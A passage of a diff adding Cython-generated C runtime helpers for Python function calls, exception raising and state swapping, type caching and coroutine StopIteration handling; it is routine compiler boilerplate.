&PyTuple_GET_ITEM(argdefs, 0); + result =__Pyx_PyFunction_FastCallNoKw(co, args, Py_SIZE(argdefs), globals); + goto done; + } + } + if (kwargs != NULL) { + Py_ssize_t pos, i; + kwtuple = PyTuple_New(2 * nk); + if (kwtuple == NULL) { + result = NULL; + goto done; + } + k = &PyTuple_GET_ITEM(kwtuple, 0); + pos = i = 0; + while (PyDict_Next(kwargs, &pos, &k[i], &k[i+1])) { + Py_INCREF(k[i]); + Py_INCREF(k[i+1]); + i += 2; + } + nk = i / 2; + } + else { + kwtuple = NULL; + k = NULL; + } + closure = PyFunction_GET_CLOSURE(func); +#if PY_MAJOR_VERSION >= 3 + kwdefs = PyFunction_GET_KW_DEFAULTS(func); +#endif + if (argdefs != NULL) { + d = &PyTuple_GET_ITEM(argdefs, 0); + nd = Py_SIZE(argdefs); + } + else { + d = NULL; + nd = 0; + } +#if PY_MAJOR_VERSION >= 3 + result = PyEval_EvalCodeEx((PyObject*)co, globals, (PyObject *)NULL, + args, (int)nargs, + k, (int)nk, + d, (int)nd, kwdefs, closure); +#else + result = PyEval_EvalCodeEx(co, globals, (PyObject *)NULL, + args, (int)nargs, + k, (int)nk, + d, (int)nd, closure); +#endif + Py_XDECREF(kwtuple); +done: + Py_LeaveRecursiveCall(); + return result; +} +#endif + +/* PyObjectCall */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw) { + PyObject *result; + ternaryfunc call = Py_TYPE(func)->tp_call; + if (unlikely(!call)) + return PyObject_Call(func, arg, kw); + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) + return NULL; + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) + return NULL; + #endif + result = (*call)(func, arg, kw); + Py_LeaveRecursiveCall(); + if (unlikely(!result) && unlikely(!PyErr_Occurred())) { + PyErr_SetString( + PyExc_SystemError, + "NULL result without error in PyObject_Call"); + } + return result; +} +#endif + +/* PyObjectCallMethO */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg) { + PyObject *self, *result; + PyCFunction cfunc; + cfunc = __Pyx_CyOrPyCFunction_GET_FUNCTION(func); + self = __Pyx_CyOrPyCFunction_GET_SELF(func); + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) + return NULL; + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) + return NULL; + #endif + result = cfunc(self, arg); + Py_LeaveRecursiveCall(); + if (unlikely(!result) && unlikely(!PyErr_Occurred())) { + PyErr_SetString( + PyExc_SystemError, + "NULL result without error in PyObject_Call"); + } + return result; +} +#endif + +/* PyObjectFastCall */ +#if PY_VERSION_HEX < 0x03090000 || CYTHON_COMPILING_IN_LIMITED_API +static PyObject* __Pyx_PyObject_FastCall_fallback(PyObject *func, PyObject **args, size_t nargs, PyObject *kwargs) { + PyObject *argstuple; + PyObject *result = 0; + size_t i; + argstuple = PyTuple_New((Py_ssize_t)nargs); + if (unlikely(!argstuple)) return NULL; + for (i = 0; i < nargs; i++) { + Py_INCREF(args[i]); + if (__Pyx_PyTuple_SET_ITEM(argstuple, (Py_ssize_t)i, args[i]) < 0) goto bad; + } + result = __Pyx_PyObject_Call(func, argstuple, kwargs); + bad: + Py_DECREF(argstuple); + return result; +} +#endif +static CYTHON_INLINE PyObject* __Pyx_PyObject_FastCallDict(PyObject *func, PyObject **args, size_t _nargs, PyObject *kwargs) { + Py_ssize_t nargs = __Pyx_PyVectorcall_NARGS(_nargs); +#if CYTHON_COMPILING_IN_CPYTHON + if (nargs == 0 && kwargs == NULL) { + if (__Pyx_CyOrPyCFunction_Check(func) && likely( __Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_NOARGS)) + return __Pyx_PyObject_CallMethO(func, NULL); + } + else if (nargs == 1 && kwargs == NULL) { + if (__Pyx_CyOrPyCFunction_Check(func) && likely( __Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_O)) + return __Pyx_PyObject_CallMethO(func, args[0]); + } +#endif + #if PY_VERSION_HEX < 0x030800B1 + #if CYTHON_FAST_PYCCALL + if (PyCFunction_Check(func)) { + if (kwargs) { + return _PyCFunction_FastCallDict(func, args, nargs, kwargs); + } else { + return _PyCFunction_FastCallKeywords(func, args, nargs, NULL); + } + } + #if PY_VERSION_HEX >= 0x030700A1 + if (!kwargs && __Pyx_IS_TYPE(func, &PyMethodDescr_Type)) { + return _PyMethodDescr_FastCallKeywords(func, args, nargs, NULL); + } + #endif + #endif + #if CYTHON_FAST_PYCALL + if (PyFunction_Check(func)) { + return __Pyx_PyFunction_FastCallDict(func, args, nargs, kwargs); + } + #endif + #endif + if (kwargs == NULL) { + #if CYTHON_VECTORCALL + #if PY_VERSION_HEX < 0x03090000 + vectorcallfunc f = _PyVectorcall_Function(func); + #else + vectorcallfunc f = PyVectorcall_Function(func); + #endif + if (f) { + return f(func, args, (size_t)nargs, NULL); + } + #elif defined(__Pyx_CyFunction_USED) && CYTHON_BACKPORT_VECTORCALL + if (__Pyx_CyFunction_CheckExact(func)) { + __pyx_vectorcallfunc f = __Pyx_CyFunction_func_vectorcall(func); + if (f) return f(func, args, (size_t)nargs, NULL); + } + #endif + } + if (nargs == 0) { + return __Pyx_PyObject_Call(func, __pyx_empty_tuple, kwargs); + } + #if PY_VERSION_HEX >= 0x03090000 && !CYTHON_COMPILING_IN_LIMITED_API + return PyObject_VectorcallDict(func, args, (size_t)nargs, kwargs); + #else + return __Pyx_PyObject_FastCall_fallback(func, args, (size_t)nargs, kwargs); + #endif +} + +/* FixUpExtensionType */ +#if CYTHON_USE_TYPE_SPECS +static int __Pyx_fix_up_extension_type_from_spec(PyType_Spec *spec, PyTypeObject *type) { +#if PY_VERSION_HEX > 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + CYTHON_UNUSED_VAR(spec); + CYTHON_UNUSED_VAR(type); +#else + const PyType_Slot *slot = spec->slots; + while (slot && slot->slot && slot->slot != Py_tp_members) + slot++; + if (slot && slot->slot == Py_tp_members) { + int changed = 0; +#if !(PY_VERSION_HEX <= 0x030900b1 && CYTHON_COMPILING_IN_CPYTHON) + const +#endif + PyMemberDef *memb = (PyMemberDef*) slot->pfunc; + while (memb && memb->name) { + if (memb->name[0] == '_' && memb->name[1] == '_') { +#if PY_VERSION_HEX < 0x030900b1 + if (strcmp(memb->name, "__weaklistoffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); + type->tp_weaklistoffset = memb->offset; + changed = 1; + } + else if (strcmp(memb->name, "__dictoffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); + type->tp_dictoffset = memb->offset; + changed = 1; + } +#if CYTHON_METH_FASTCALL + else if (strcmp(memb->name, "__vectorcalloffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); +#if PY_VERSION_HEX >= 0x030800b4 + type->tp_vectorcall_offset = memb->offset; +#else + type->tp_print = (printfunc) memb->offset; +#endif + changed = 1; + } +#endif +#else + if ((0)); +#endif +#if PY_VERSION_HEX <= 0x030900b1 && CYTHON_COMPILING_IN_CPYTHON + else if (strcmp(memb->name, "__module__") == 0) { + PyObject *descr; + assert(memb->type == T_OBJECT); + assert(memb->flags == 0 || memb->flags == READONLY); + descr = PyDescr_NewMember(type, memb); + if (unlikely(!descr)) + return -1; + if (unlikely(PyDict_SetItem(type->tp_dict, PyDescr_NAME(descr), descr) < 0)) { + Py_DECREF(descr); + return -1; + } + Py_DECREF(descr); + changed = 1; + } +#endif + } + memb++; + } + if (changed) + PyType_Modified(type); + } +#endif + return 0; +} +#endif + +/* FetchSharedCythonModule */ +static PyObject *__Pyx_FetchSharedCythonABIModule(void) { + return __Pyx_PyImport_AddModuleRef((char*) __PYX_ABI_MODULE_NAME); +} + +/* FetchCommonType */ +static int __Pyx_VerifyCachedType(PyObject *cached_type, + const char *name, + Py_ssize_t basicsize, + Py_ssize_t expected_basicsize) { + if (!PyType_Check(cached_type)) { + PyErr_Format(PyExc_TypeError, + "Shared Cython type %.200s is not a type object", name); + return -1; + } + if (basicsize != expected_basicsize) { + PyErr_Format(PyExc_TypeError, + "Shared Cython type %.200s has the wrong size, try recompiling", + name); + return -1; + } + return 0; +} +#if !CYTHON_USE_TYPE_SPECS +static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type) { + PyObject* abi_module; + const char* object_name; + PyTypeObject *cached_type = NULL; + abi_module = __Pyx_FetchSharedCythonABIModule(); + if (!abi_module) return NULL; + object_name = strrchr(type->tp_name, '.'); + object_name = object_name ? object_name+1 : type->tp_name; + cached_type = (PyTypeObject*) PyObject_GetAttrString(abi_module, object_name); + if (cached_type) { + if (__Pyx_VerifyCachedType( + (PyObject *)cached_type, + object_name, + cached_type->tp_basicsize, + type->tp_basicsize) < 0) { + goto bad; + } + goto done; + } + if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; + PyErr_Clear(); + if (PyType_Ready(type) < 0) goto bad; + if (PyObject_SetAttrString(abi_module, object_name, (PyObject *)type) < 0) + goto bad; + Py_INCREF(type); + cached_type = type; +done: + Py_DECREF(abi_module); + return cached_type; +bad: + Py_XDECREF(cached_type); + cached_type = NULL; + goto done; +} +#else +static PyTypeObject *__Pyx_FetchCommonTypeFromSpec(PyObject *module, PyType_Spec *spec, PyObject *bases) { + PyObject *abi_module, *cached_type = NULL; + const char* object_name = strrchr(spec->name, '.'); + object_name = object_name ? object_name+1 : spec->name; + abi_module = __Pyx_FetchSharedCythonABIModule(); + if (!abi_module) return NULL; + cached_type = PyObject_GetAttrString(abi_module, object_name); + if (cached_type) { + Py_ssize_t basicsize; +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject *py_basicsize; + py_basicsize = PyObject_GetAttrString(cached_type, "__basicsize__"); + if (unlikely(!py_basicsize)) goto bad; + basicsize = PyLong_AsSsize_t(py_basicsize); + Py_DECREF(py_basicsize); + py_basicsize = 0; + if (unlikely(basicsize == (Py_ssize_t)-1) && PyErr_Occurred()) goto bad; +#else + basicsize = likely(PyType_Check(cached_type)) ? ((PyTypeObject*) cached_type)->tp_basicsize : -1; +#endif + if (__Pyx_VerifyCachedType( + cached_type, + object_name, + basicsize, + spec->basicsize) < 0) { + goto bad; + } + goto done; + } + if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; + PyErr_Clear(); + CYTHON_UNUSED_VAR(module); + cached_type = __Pyx_PyType_FromModuleAndSpec(abi_module, spec, bases); + if (unlikely(!cached_type)) goto bad; + if (unlikely(__Pyx_fix_up_extension_type_from_spec(spec, (PyTypeObject *) cached_type) < 0)) goto bad; + if (PyObject_SetAttrString(abi_module, object_name, cached_type) < 0) goto bad; +done: + Py_DECREF(abi_module); + assert(cached_type == NULL || PyType_Check(cached_type)); + return (PyTypeObject *) cached_type; +bad: + Py_XDECREF(cached_type); + cached_type = NULL; + goto done; +} +#endif + +/* RaiseException */ +#if PY_MAJOR_VERSION < 3 +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { + __Pyx_PyThreadState_declare + CYTHON_UNUSED_VAR(cause); + Py_XINCREF(type); + if (!value || value == Py_None) + value = NULL; + else + Py_INCREF(value); + if (!tb || tb == Py_None) + tb = NULL; + else { + Py_INCREF(tb); + if (!PyTraceBack_Check(tb)) { + PyErr_SetString(PyExc_TypeError, + "raise: arg 3 must be a traceback or None"); + goto raise_error; + } + } + if (PyType_Check(type)) { +#if CYTHON_COMPILING_IN_PYPY + if (!value) { + Py_INCREF(Py_None); + value = Py_None; + } +#endif + PyErr_NormalizeException(&type, &value, &tb); + } else { + if (value) { + PyErr_SetString(PyExc_TypeError, + "instance exception may not have a separate value"); + goto raise_error; + } + value = type; + type = (PyObject*) Py_TYPE(type); + Py_INCREF(type); + if (!PyType_IsSubtype((PyTypeObject *)type, (PyTypeObject *)PyExc_BaseException)) { + PyErr_SetString(PyExc_TypeError, + "raise: exception class must be a subclass of BaseException"); + goto raise_error; + } + } + __Pyx_PyThreadState_assign + __Pyx_ErrRestore(type, value, tb); + return; +raise_error: + Py_XDECREF(value); + Py_XDECREF(type); + Py_XDECREF(tb); + return; +} +#else +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { + PyObject* owned_instance = NULL; + if (tb == Py_None) { + tb = 0; + } else if (tb && !PyTraceBack_Check(tb)) { + PyErr_SetString(PyExc_TypeError, + "raise: arg 3 must be a traceback or None"); + goto bad; + } + if (value == Py_None) + value = 0; + if (PyExceptionInstance_Check(type)) { + if (value) { + PyErr_SetString(PyExc_TypeError, + "instance exception may not have a separate value"); + goto bad; + } + value = type; + type = (PyObject*) Py_TYPE(value); + } else if (PyExceptionClass_Check(type)) { + PyObject *instance_class = NULL; + if (value && PyExceptionInstance_Check(value)) { + instance_class = (PyObject*) Py_TYPE(value); + if (instance_class != type) { + int is_subclass = PyObject_IsSubclass(instance_class, type); + if (!is_subclass) { + instance_class = NULL; + } else if (unlikely(is_subclass == -1)) { + goto bad; + } else { + type = instance_class; + } + } + } + if (!instance_class) { + PyObject *args; + if (!value) + args = PyTuple_New(0); + else if (PyTuple_Check(value)) { + Py_INCREF(value); + args = value; + } else + args = PyTuple_Pack(1, value); + if (!args) + goto bad; + owned_instance = PyObject_Call(type, args, NULL); + Py_DECREF(args); + if (!owned_instance) + goto bad; + value = owned_instance; + if (!PyExceptionInstance_Check(value)) { + PyErr_Format(PyExc_TypeError, + "calling %R should have returned an instance of " + "BaseException, not %R", + type, Py_TYPE(value)); + goto bad; + } + } + } else { + PyErr_SetString(PyExc_TypeError, + "raise: exception class must be a subclass of BaseException"); + goto bad; + } + if (cause) { + PyObject *fixed_cause; + if (cause == Py_None) { + fixed_cause = NULL; + } else if (PyExceptionClass_Check(cause)) { + fixed_cause = PyObject_CallObject(cause, NULL); + if (fixed_cause == NULL) + goto bad; + } else if (PyExceptionInstance_Check(cause)) { + fixed_cause = cause; + Py_INCREF(fixed_cause); + } else { + PyErr_SetString(PyExc_TypeError, + "exception causes must derive from " + "BaseException"); + goto bad; + } + PyException_SetCause(value, fixed_cause); + } + PyErr_SetObject(type, value); + if (tb) { + #if PY_VERSION_HEX >= 0x030C00A6 + PyException_SetTraceback(value, tb); + #elif CYTHON_FAST_THREAD_STATE + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject* tmp_tb = tstate->curexc_traceback; + if (tb != tmp_tb) { + Py_INCREF(tb); + tstate->curexc_traceback = tb; + Py_XDECREF(tmp_tb); + } +#else + PyObject *tmp_type, *tmp_value, *tmp_tb; + PyErr_Fetch(&tmp_type, &tmp_value, &tmp_tb); + Py_INCREF(tb); + PyErr_Restore(tmp_type, tmp_value, tb); + Py_XDECREF(tmp_tb); +#endif + } +bad: + Py_XDECREF(owned_instance); + return; +} +#endif + +/* GetTopmostException */ +#if CYTHON_USE_EXC_INFO_STACK && CYTHON_FAST_THREAD_STATE +static _PyErr_StackItem * +__Pyx_PyErr_GetTopmostException(PyThreadState *tstate) +{ + _PyErr_StackItem *exc_info = tstate->exc_info; + while ((exc_info->exc_value == NULL || exc_info->exc_value == Py_None) && + exc_info->previous_item != NULL) + { + exc_info = exc_info->previous_item; + } + return exc_info; +} +#endif + +/* SaveResetException */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = __Pyx_PyErr_GetTopmostException(tstate); + PyObject *exc_value = exc_info->exc_value; + if (exc_value == NULL || exc_value == Py_None) { + *value = NULL; + *type = NULL; + *tb = NULL; + } else { + *value = exc_value; + Py_INCREF(*value); + *type = (PyObject*) Py_TYPE(exc_value); + Py_INCREF(*type); + *tb = PyException_GetTraceback(exc_value); + } + #elif CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = __Pyx_PyErr_GetTopmostException(tstate); + *type = exc_info->exc_type; + *value = exc_info->exc_value; + *tb = exc_info->exc_traceback; + Py_XINCREF(*type); + Py_XINCREF(*value); + Py_XINCREF(*tb); + #else + *type = tstate->exc_type; + *value = tstate->exc_value; + *tb = tstate->exc_traceback; + Py_XINCREF(*type); + Py_XINCREF(*value); + Py_XINCREF(*tb); + #endif +} +static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = tstate->exc_info; + PyObject *tmp_value = exc_info->exc_value; + exc_info->exc_value = value; + Py_XDECREF(tmp_value); + Py_XDECREF(type); + Py_XDECREF(tb); + #else + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = type; + exc_info->exc_value = value; + exc_info->exc_traceback = tb; + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = type; + tstate->exc_value = value; + tstate->exc_traceback = tb; + #endif + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); + #endif +} +#endif + +/* SwapException */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_value = exc_info->exc_value; + exc_info->exc_value = *value; + if (tmp_value == NULL || tmp_value == Py_None) { + Py_XDECREF(tmp_value); + tmp_value = NULL; + tmp_type = NULL; + tmp_tb = NULL; + } else { + tmp_type = (PyObject*) Py_TYPE(tmp_value); + Py_INCREF(tmp_type); + #if CYTHON_COMPILING_IN_CPYTHON + tmp_tb = ((PyBaseExceptionObject*) tmp_value)->traceback; + Py_XINCREF(tmp_tb); + #else + tmp_tb = PyException_GetTraceback(tmp_value); + #endif + } + #elif CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = *type; + exc_info->exc_value = *value; + exc_info->exc_traceback = *tb; + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = *type; + tstate->exc_value = *value; + tstate->exc_traceback = *tb; + #endif + *type = tmp_type; + *value = tmp_value; + *tb = tmp_tb; +} +#else +static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb) { + PyObject *tmp_type, *tmp_value, *tmp_tb; + PyErr_GetExcInfo(&tmp_type, &tmp_value, &tmp_tb); + PyErr_SetExcInfo(*type, *value, *tb); + *type = tmp_type; + *value = tmp_value; + *tb = tmp_tb; +} +#endif + +/* PyObjectCall2Args */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, PyObject* arg2) { + PyObject *args[3] = {NULL, arg1, arg2}; + return __Pyx_PyObject_FastCall(function, args+1, 2 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* PyObjectCallOneArg */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { + PyObject *args[2] = {NULL, arg}; + return __Pyx_PyObject_FastCall(func, args+1, 1 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* PyObjectGetMethod */ +static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method) { + PyObject *attr; +#if CYTHON_UNPACK_METHODS && CYTHON_COMPILING_IN_CPYTHON && CYTHON_USE_PYTYPE_LOOKUP + __Pyx_TypeName type_name; + PyTypeObject *tp = Py_TYPE(obj); + PyObject *descr; + descrgetfunc f = NULL; + PyObject **dictptr, *dict; + int meth_found = 0; + assert (*method == NULL); + if (unlikely(tp->tp_getattro != PyObject_GenericGetAttr)) { + attr = __Pyx_PyObject_GetAttrStr(obj, name); + goto try_unpack; + } + if (unlikely(tp->tp_dict == NULL) && unlikely(PyType_Ready(tp) < 0)) { + return 0; + } + descr = _PyType_Lookup(tp, name); + if (likely(descr != NULL)) { + Py_INCREF(descr); +#if defined(Py_TPFLAGS_METHOD_DESCRIPTOR) && Py_TPFLAGS_METHOD_DESCRIPTOR + if (__Pyx_PyType_HasFeature(Py_TYPE(descr), Py_TPFLAGS_METHOD_DESCRIPTOR)) +#elif PY_MAJOR_VERSION >= 3 + #ifdef __Pyx_CyFunction_USED + if (likely(PyFunction_Check(descr) || __Pyx_IS_TYPE(descr, &PyMethodDescr_Type) || __Pyx_CyFunction_Check(descr))) + #else + if (likely(PyFunction_Check(descr) || __Pyx_IS_TYPE(descr, &PyMethodDescr_Type))) + #endif +#else + #ifdef __Pyx_CyFunction_USED + if (likely(PyFunction_Check(descr) || __Pyx_CyFunction_Check(descr))) + #else + if (likely(PyFunction_Check(descr))) + #endif +#endif + { + meth_found = 1; + } else { + f = Py_TYPE(descr)->tp_descr_get; + if (f != NULL && PyDescr_IsData(descr)) { + attr = f(descr, obj, (PyObject *)Py_TYPE(obj)); + Py_DECREF(descr); + goto try_unpack; + } + } + } + dictptr = _PyObject_GetDictPtr(obj); + if (dictptr != NULL && (dict = *dictptr) != NULL) { + Py_INCREF(dict); + attr = __Pyx_PyDict_GetItemStr(dict, name); + if (attr != NULL) { + Py_INCREF(attr); + Py_DECREF(dict); + Py_XDECREF(descr); + goto try_unpack; + } + Py_DECREF(dict); + } + if (meth_found) { + *method = descr; + return 1; + } + if (f != NULL) { + attr = f(descr, obj, (PyObject *)Py_TYPE(obj)); + Py_DECREF(descr); + goto try_unpack; + } + if (likely(descr != NULL)) { + *method = descr; + return 0; + } + type_name = __Pyx_PyType_GetName(tp); + PyErr_Format(PyExc_AttributeError, +#if PY_MAJOR_VERSION >= 3 + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%U'", + type_name, name); +#else + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%.400s'", + type_name, PyString_AS_STRING(name)); +#endif + __Pyx_DECREF_TypeName(type_name); + return 0; +#else + attr = __Pyx_PyObject_GetAttrStr(obj, name); + goto try_unpack; +#endif +try_unpack: +#if CYTHON_UNPACK_METHODS + if (likely(attr) && PyMethod_Check(attr) && likely(PyMethod_GET_SELF(attr) == obj)) { + PyObject *function = PyMethod_GET_FUNCTION(attr); + Py_INCREF(function); + Py_DECREF(attr); + *method = function; + return 1; + } +#endif + *method = attr; + return 0; +} + +/* PyObjectCallMethod1 */ +#if !(CYTHON_VECTORCALL && __PYX_LIMITED_VERSION_HEX >= 0x030C00A2) +static PyObject* __Pyx__PyObject_CallMethod1(PyObject* method, PyObject* arg) { + PyObject *result = __Pyx_PyObject_CallOneArg(method, arg); + Py_DECREF(method); + return result; +} +#endif +static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg) { +#if CYTHON_VECTORCALL && __PYX_LIMITED_VERSION_HEX >= 0x030C00A2 + PyObject *args[2] = {obj, arg}; + (void) __Pyx_PyObject_GetMethod; + (void) __Pyx_PyObject_CallOneArg; + (void) __Pyx_PyObject_Call2Args; + return PyObject_VectorcallMethod(method_name, args, 2 | PY_VECTORCALL_ARGUMENTS_OFFSET, NULL); +#else + PyObject *method = NULL, *result; + int is_method = __Pyx_PyObject_GetMethod(obj, method_name, &method); + if (likely(is_method)) { + result = __Pyx_PyObject_Call2Args(method, obj, arg); + Py_DECREF(method); + return result; + } + if (unlikely(!method)) return NULL; + return __Pyx__PyObject_CallMethod1(method, arg); +#endif +} + +/* PyObjectCallNoArg */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func) { + PyObject *arg[2] = {NULL, NULL}; + return __Pyx_PyObject_FastCall(func, arg + 1, 0 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* CoroutineBase */ +#include +#if PY_VERSION_HEX >= 0x030b00a6 + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif +#define __Pyx_Coroutine_Undelegate(gen) Py_CLEAR((gen)->yieldfrom) +static int __Pyx_PyGen__FetchStopIterationValue(PyThreadState *__pyx_tstate, PyObject **pvalue) { + PyObject *et, *ev, *tb; + PyObject *value = NULL; + CYTHON_UNUSED_VAR(__pyx_tstate); + __Pyx_ErrFetch(&et, &ev, &tb); + if (!et) { + Py_XDECREF(tb); + Py_XDECREF(ev); + Py_INCREF(Py_None); + *pvalue = Py_None; + return 0; + } + if (likely(et == PyExc_StopIteration)) { + if (!ev) { + Py_INCREF(Py_None); + value = Py_None; + } +#if PY_VERSION_HEX >= 0x030300A0 + else if (likely(__Pyx_IS_TYPE(ev, (PyTypeObject*)PyExc_StopIteration))) { + value = ((PyStopIterationObject *)ev)->value; + Py_INCREF(value); + Py_DECREF(ev); + } +#endif + else if (unlikely(PyTuple_Check(ev))) { + if (PyTuple_GET_SIZE(ev) >= 1) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + value = PyTuple_GET_ITEM(ev, 0); + Py_INCREF(value); +#else + value = PySequence_ITEM(ev, 0); +#endif + } else { + Py_INCREF(Py_None); + value = Py_None; + } + Py_DECREF(ev); + } + else if (!__Pyx_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration)) { + value = ev; + } + if (likely(value)) { + Py_XDECREF(tb); + Py_DECREF(et); + *pvalue = value; + return 0; + } + } else if (!__Pyx_PyErr_GivenExceptionMatches(et, PyExc_StopIteration)) { + __Pyx_ErrRestore(et, ev, tb); + return -1; + } + PyErr_NormalizeException(&et, &ev, &tb); + if (unlikely(!PyObject_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration))) { + __Pyx_ErrRestore(et, ev, tb); + return -1; + } + Py_XDECREF(tb); + Py_DECREF(et); +#if PY_VERSION_HEX >= 0x030300A0 + value = ((PyStopIterationObject *)ev)->value; + Py_INCREF(value); + Py_DECREF(ev); +#else + { + PyObject* args = __Pyx_PyObject_GetAttrStr(ev, __pyx_n_s_args); + Py_DECREF(ev); + if (likely(args)) { + value = PySequence_GetItem(args, 0); + Py_DECREF(args); + } + if (unlikely(!value)) { + __Pyx_ErrRestore(NULL, NULL, NULL); + Py_INCREF(Py_None); + value = Py_None; + } + } +#endif + *pvalue = value; + return 0; +} +static CYTHON_INLINE +void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *exc_state) { +#if PY_VERSION_HEX >= 0x030B00a4 + Py_CLEAR(exc_state->exc_value); +#else + PyObject *t, *v, *tb; + t = exc_state->exc_type; + v = exc_state->exc_value; + tb = exc_state->exc_traceback; + exc_state->exc_type = NULL; + exc_state->exc_value = NULL; + exc_state->exc_traceback = NULL; + Py_XDECREF(t); + Py_XDECREF(v); + Py_XDECREF(tb); +#endif +} +#define __Pyx_Coroutine_AlreadyRunningError(gen) (__Pyx__Coroutine_AlreadyRunningError(gen), (PyObject*)NULL) +static void __Pyx__Coroutine_AlreadyRunningError(__pyx_CoroutineObject *gen) { + const char *msg; + CYTHON_MAYBE_UNUSED_VAR(gen); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check((PyObject*)gen)) { + msg = "coroutine already executing"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact((PyObject*)gen)) { + msg = "async generator already executing"; + #endif + } else { + msg = "generator already executing"; + } + PyErr_SetString(PyExc_ValueError, msg); +} +#define __Pyx_Coroutine_NotStartedError(gen) (__Pyx__Coroutine_NotStartedError(gen), (PyObject*)NULL) +static void __Pyx__Coroutine_NotStartedError(PyObject *gen) { + const char *msg; + CYTHON_MAYBE_UNUSED_VAR(gen); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check(gen)) { + msg = "can't send non-None value to a just-started coroutine"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact(gen)) { + msg = "can't send non-None value to a just-started async generator"; + #endif + } else { + msg = "can't send non-None value to a just-started generator"; + } + PyErr_SetString(PyExc_TypeError, msg); +} +#define __Pyx_Coroutine_AlreadyTerminatedError(gen, value, closing) (__Pyx__Coroutine_AlreadyTerminatedError(gen, value, closing), (PyObject*)NULL) +static void __Pyx__Coroutine_AlreadyTerminatedError(PyObject *gen, PyObject *value, int closing) { + CYTHON_MAYBE_UNUSED_VAR(gen); + CYTHON_MAYBE_UNUSED_VAR(closing); + #ifdef __Pyx_Coroutine_USED + if (!closing && __Pyx_Coroutine_Check(gen)) { + PyErr_SetString(PyExc_RuntimeError, "cannot reuse already awaited coroutine"); + } else + #endif + if (value) { + #ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(gen)) + PyErr_SetNone(__Pyx_PyExc_StopAsyncIteration); + else + #endif + PyErr_SetNone(PyExc_StopIteration); + } +} +static +PyObject 